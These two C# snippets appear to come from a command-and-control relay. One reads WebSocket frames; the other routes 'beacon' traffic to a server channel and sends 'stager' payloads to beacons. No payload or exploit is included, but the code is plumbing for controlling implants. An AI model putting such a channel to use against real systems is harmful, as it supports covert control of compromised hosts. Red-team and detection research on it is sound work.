Example #1
0
        private async Task <WebSocketFrame> ReadMessageAsync()
        {
            if (_client.State != WebSocketState.Open)
            {
                throw new Exception("Web Socket not connected..."); // Might need reconnect logic here
            }
            var buffer = new byte[MaxBufferSize];
            var b64Str = new StringBuilder();

            WebSocketReceiveResult result;

            do
            {
                result = await _client.ReceiveAsync(new ArraySegment <byte>(buffer), CancellationToken.None);

                if (result.MessageType == WebSocketMessageType.Close)
                {
                    await _client.CloseAsync(WebSocketCloseStatus.NormalClosure, string.Empty,
                                             CancellationToken.None);
                }
                else
                {
                    b64Str.Append(Encoding.UTF8.GetString(buffer, 0, result.Count));
                }
            } while (!result.EndOfMessage);

            return(WebSocketFrame.Decode(b64Str.ToString()));
        }
Example #2
0
        /// <summary>
        ///     Receives the asynchronous.
        /// </summary>
        /// <param name="socket">The socket.</param>
        /// <param name="result">The result.</param>
        /// <param name="buffer">The buffer.</param>
        /// <returns></returns>
        public override async Task ReceiveAsync(WebSocket socket, WebSocketReceiveResult result, byte[] buffer)
        {
            var beaconId = WebSocketManager.GetId(socket);
            var frame    = WebSocketFrame.Decode(Encoding.UTF8.GetString(buffer));

            switch (frame.Type)
            {
            case FrameType.Connect:
            case FrameType.ToBeacon:
                Console.WriteLine("Server doesn't need to handle Connect/ToBeacon frames");
                break;

            case FrameType.Stager:
                // Get stager from server channel
                var stager     = GetStager(beaconId, frame.Buffer[0] == 0x64);
                var stageFrame = new WebSocketFrame(FrameType.Stager, beaconId.InternalId, stager);
                // Send stager to beacon channel
                await SendMessageAsync(beaconId, stageFrame.Encode());

                break;

            case FrameType.ToServer:
                // Send frame to server channel
                SendFrame(beaconId, frame.Buffer);
                // Read frame from server channel
                var respFrame = new WebSocketFrame(FrameType.ToBeacon, beaconId.InternalId, ReadFrame(beaconId));
                // Send frame to beacon channel
                await SendMessageAsync(beaconId, respFrame.Encode());

                break;

            default:
                Console.WriteLine("Unknown frame type...");
                break;
            }
        }